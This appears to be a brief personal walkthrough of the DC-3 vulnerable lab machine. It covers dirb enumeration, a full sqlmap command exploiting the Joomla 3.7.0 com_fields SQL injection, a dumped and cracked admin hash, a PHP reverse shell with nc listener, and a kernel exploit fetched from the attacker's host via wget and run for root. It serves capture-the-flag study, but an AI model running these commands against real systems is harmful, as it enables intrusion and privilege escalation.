DC 3.2

There is only one flag.

`dirb` `http://192.168.229.134` `/usr/share/dirb/wordlists/common.txt`

http://192.168.229.134/administrator/manifests/files/joomla.xml

from these links joomla version appears (3.7.0)

Joomla 3.7.0 search in exploit db

exploit_db ⇒

```
sqlmap -u "http://192.168.229.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
```

> From user table:
> admin
> pass
> $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
> John hashing >> snoopy

> After login >> index.php
> Change it with >> cat /usr/share/webshells/php/php-reverse-shell.php

Now listen on port `nc -lvnp 4444/4466`

> $ uname -a
> Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux

> `$ cat /etc/*release`
> DISTRIB_ID=Ubuntu
> DISTRIB_RELEASE=16.04
> DISTRIB_CODENAME=xenial
> DISTRIB_DESCRIPTION="Ubuntu 16.04 LTS"
> NAME="Ubuntu"
> VERSION="16.04 LTS (Xenial Xerus)"
> ID=ubuntu
> ID_LIKE=debian
> PRETTY_NAME="Ubuntu 16.04 LTS"

> VERSION_ID="16.04"
> HOME_URL="
> http://www.ubuntu.com/";
> SUPPORT_URL="
> http://help.ubuntu.com/";
> BUG_REPORT_URL="
> http://bugs.launchpad.net/ubuntu/";
> UBUNTU_CODENAME=xenial

> Web search >> Ubuntu 16.04 LTS kernel 4.4.0 exploit db
> Downloaded the tar file

> `python3 -m http.server 8080`
> From remote, download the file in another machine
>
> `find / -writable -type d 2>/dev/null` -- find the writeable folder
>
> `wget` `http://ip:8080/filename` from host section

Extract it and run >> ./

> Go to root

`cd /root`

Congratulations are in order! 😊

I hope you've enjoyed this challenge as much as I enjoyed making it.

If there are any ways I can improve these little challenges, please let me know.

As per usual, comments and complaints can be sent via Twitter to @DCAU7.

Have a great day!